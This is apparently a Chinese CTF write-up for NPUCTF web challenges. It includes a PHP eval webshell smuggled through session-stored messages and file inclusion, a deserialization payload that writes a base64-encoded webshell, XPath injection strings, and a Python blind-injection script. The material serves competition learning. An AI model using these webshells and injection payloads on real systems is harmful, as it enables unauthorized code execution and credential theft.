NPUCTF web WP

Posted on 2020-04-20,8 min read

超简单的PHP!!!超简单!!!

进去F12得到index.php.bak
访问。直接跳转index.bak.php?action=message.php
很明显的文件包含。
有个留言板msg.php
有个tips是phpinfo
文件包含看下msg.php

<?php 
session_start();
function safe($msg){
    if (strlen($msg)>17){
        return "msg is too loooong!";
    } else {
        return preg_replace("/php/","?",$msg);
    }
}
if (!isset($_SESSION['msg'])&empty($_SESSION['msg']))$_SESSION['msg'] = array();
if (isset($_POST['msg']))
{
    array_push($_SESSION['msg'], ['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]);
    echo json_encode(array(['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]));
    exit();
}
if(!empty($_SESSION['msg'])){
        echo json_encode($_SESSION['msg']);
} else {echo "还不快去留言!";}
?>

可以看到这里留言内容会写入session。然后不能出现php。
由于存在文件包含。通过留言板写个一句话。然后包含即可。
php标签用可以大小写绕过。都能解析的

msg|a:7:{i:0;a:2:{s:3:"msg";s:8:"<?PHP /*"msg|a:7:{i:0;a:2:{s:3:"msg";s:8:"

可以看到。我们插入<?PHP后。会有很多乱的字符。我们用多行注释就行了

<?PHP /*
*/eval($_POST/*
*/[1]);//

然后。phpinfo中有disable。我们需要bypass。上传文件。修改mail为error_log触发就行了

貌似还能通过php7的包含溢出。getshell。但是那个需要爆破文件名。就。没有试了

查源码

F12不说了

RealEzPHP

F12到time.php
得到源码

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

很简短的代码。。反序列化控制属性$b($a)动态执行代码
这里直接试了下system。发现没反应。而scandir结果是个数组又不能ehco输出
想到用assert('eval("phpinfo();")')来执行代码

<?php
class HelloPhp
{
    public $a='eval("phpinfo();")';
    public $b='assert';
}
$a=new HelloPhp();
echo serialize($a);

调用phpinfo。发现有disable_function限制
先写个小马上去

<?php
class HelloPhp
{
     public $a='eval("file_put_contents(\'1.php\', base64_decode(\'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==\'));")';
    public $b='assert';
}
$a=new HelloPhp();
echo serialize($a);

在传马的时候发现$_POST,这种会被替换为空。直接base64绕。
得到小马
然后就不多说了。error_log LD bypass。
或者蚁剑一键bypass。
去环境变量里找Flag

ezlogin

Xpath盲注
https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97
XML格式如下

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
</root>

root是根元素。然后下面有users元素。users元素下面又有两个user元素。
查询语句如下

/root/users/user[username/text()='admin' and password/text()='123']
查询/root/users/user中username的值是admin。并且password的值是123
由于Xpath中不存在注释。所以得构造闭合语句

万能密码

admin' or '1
/root/users/user[username/text()='admin' or '1' and password/text()='123']

布尔盲注

' or count(/)=1 or '1

判断根目录下的元素。如果根目录下只有1个元素就会返回True。进行布尔盲注
试一下

提示非法操作。第一反应就是黑名单。
测试两个单引号。用户名或密码错误
测试万能密码。非法操作
测试关键字。用户名或密码错误
其实非法操作就是True。用户名或密码错误就是False。。
非法操作是个迷惑行为
得到根元素为1
然后

' or string-length(name(/*[1]))=1 or '1
/*              根元素下的节点
[1]             取第一个节点
比如
<root>
    <user>
        <users>
         </users>
    </user>
</root>
<root2>
    <user>
        <users>
         </users>
    </user>
</root2>
/*[1]就会取到根路径下的第一个节点。也就是root
/*[2]就会取到根路径下的第二个截断。也就是root2

判断根元素的名字长度

' or substring(name(/*[1]), 1, 1)='a' or '1

判断根元素的第一个字符是a
然后依次判断得到根元素root

' or string-length(name(/root/*[1]))=1 or '1
' or substring(name(/root/*[1]), 1, 1)='a' or '1

继续取
得到第二个截断为accounts

' or string-length(name(/root/accounts/*[1]))=1 or '1
' or substring(name(/root/accounts/*[1]), 1, 1)='a' or '1

得到user

' or substring(name(/root/*[1]), 1, 1)='a' or '1
' or substring(name(/root/accounts/user/*[1]), 1, 1)='a' or '1
取user节点下的第一个。

这里通过遍历[1][2][3]得到id,username,password
此时已知格式如下

<root>
    <accounts>
        <user>
            <id>1</id>
            <username>xx</username>
            <password>xx</password>
        </user>
        <user>
            <id>2</id>
            <username>xx</username>
            <password>xx</password>
        </user>
    </accounts>
</root>

那我们就可以取第N个user元素。获取下面的值

' or string-length(/root/accounts/user[1]/username/text())=5 or '1
长度
' or substring(/root/accounts/user[1]/username/text(), 1, 1)='g' or '1
值

测试后。user第二个元素是a开头的。估计是admin。
下面是脚本

import requests
import re
import time
r = requests.session()
s='abcdefghijklmnopqrstuvwxyz1234567890'
headers = {'Content-Type':'application/xml'}
for a in range(1,50):
    for b in s:
        url='http://ha1cyon-ctf.fun:30267/'
        token=re.search('<input type="hidden" id="token" value="(.*)" />',r.get(url).text)[1]
        data="<username>' or substring(/root/accounts/user[2]/username/text(), "+str(a)+", 1)='"+b+"' or '1</username><password>12</password><token>"+token+"</token>"
        result=r.post(url=url+'login.php',headers=headers,data=data).text
        time.sleep(0.5)
        if '非法操作' in result:
            print(b)
            break

得到adm1n,gtfly123
后台是个文件包含。返回结果不能有flag。并且伪协议都禁了。。
最后发现大小写绕过。。。。越简单的越容易被遗忘.

web🐕

这题。抄网上脚本。自己改改
第一关
https://www.cnblogs.com/p00mj/p/11797786.html
第二关
https://www.jianshu.com/p/7f171477a603
第三关。
java反编译。python转一下ascii就行

下一篇: 虎符CTF Web WP→